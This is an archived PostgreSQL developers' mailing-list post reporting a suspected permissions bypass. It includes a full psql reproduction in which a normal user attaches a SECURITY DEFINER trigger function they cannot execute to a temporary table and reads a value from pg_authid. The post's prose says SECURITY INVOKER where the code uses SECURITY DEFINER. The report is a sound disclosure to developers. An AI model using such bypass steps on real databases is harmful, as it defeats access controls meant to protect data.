Skip site navigation (1) Skip section navigation (2)

Security leak with trigger functions?

From: "Albe Laurenz" <all(at)adv(dot)magwien(dot)gv(dot)at>
To: <pgsql-hackers(at)postgresql(dot)org>
Subject: Security leak with trigger functions?
Date: 2006-12-14 15:57:20
Message-ID: 52EF20B2E3209443BC37736D00C3C1380BE323DC@EXADV1.host.magwien.gv.at (view raw or flat)
Thread:
Lists: pgsql-hackers
Permissions on a trigger function seem not to be checked,
and I can execute a function for which I have no privileges.

I consider this a security leak - or am I missing something?

Here is a complete example:

As superuser, create a trigger function that selects from pg_authid
with SECURITY INVOKER, and REVOKE EXECUTE from public:

test=# \c test postgres
You are now connected to database "test" as user "postgres".
test=# CREATE OR REPLACE FUNCTION insert_oid() RETURNS trigger AS
test-# $$BEGIN SELECT oid INTO NEW.useroid FROM pg_catalog.pg_authid
WHERE rolname = user; RETURN NEW; END;$$
test-# LANGUAGE plpgsql STABLE STRICT SECURITY DEFINER;
CREATE FUNCTION
test=# REVOKE EXECUTE ON FUNCTION insert_oid() FROM public;
REVOKE
test=# SELECT proacl FROM pg_catalog.pg_proc WHERE proname =
'insert_oid';
        proacl      
-----------------------
 {postgres=X/postgres}
(1 row)

As normal user, try to execute the function or select from
pg_catalog.pg_authid directly; both fail as expected:

test=# \c test laurenz
You are now connected to database "test" as user "laurenz".
test=> SELECT insert_oid();
ERROR:  permission denied for function insert_oid
test=> SELECT oid FROM pg_catalog.pg_authid WHERE rolname = user;
ERROR:  permission denied for relation pg_authid

Create a temporary table, define a trigger BEFORE INSERT using the
function that we cannot execute:

test=> CREATE TEMP TABLE lautest (id integer PRIMARY KEY, useroid oid
NOT NULL);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index
"lautest_pkey" for table "lautest"
CREATE TABLE
test=> CREATE TRIGGER insert_oid BEFORE INSERT ON lautest FOR EACH ROW
EXECUTE PROCEDURE insert_oid();
CREATE TRIGGER

Insert a row into the table.
The trigger function is executed, and I have selected a value from
pg_authid!

test=> INSERT INTO lautest (id) VALUES (1);
INSERT 0 1
test=> SELECT * FROM lautest;
 id | useroid 
----+---------
  1 |      10
(1 row)

Yours,
Laurenz Albe

Responses

pgsql-hackers by date

Next:From: Hiroshi SaitoDate: 2006-12-14 15:57:50
Subject: Re: pg_restore fails with a custom backup file
Previous:From: Tom LaneDate: 2006-12-14 15:41:16
Subject: Re: Solaris excesive semaphores usage.

Privacy Policy | About PostgreSQL
Copyright © 1996-2014 The PostgreSQL Global Development Group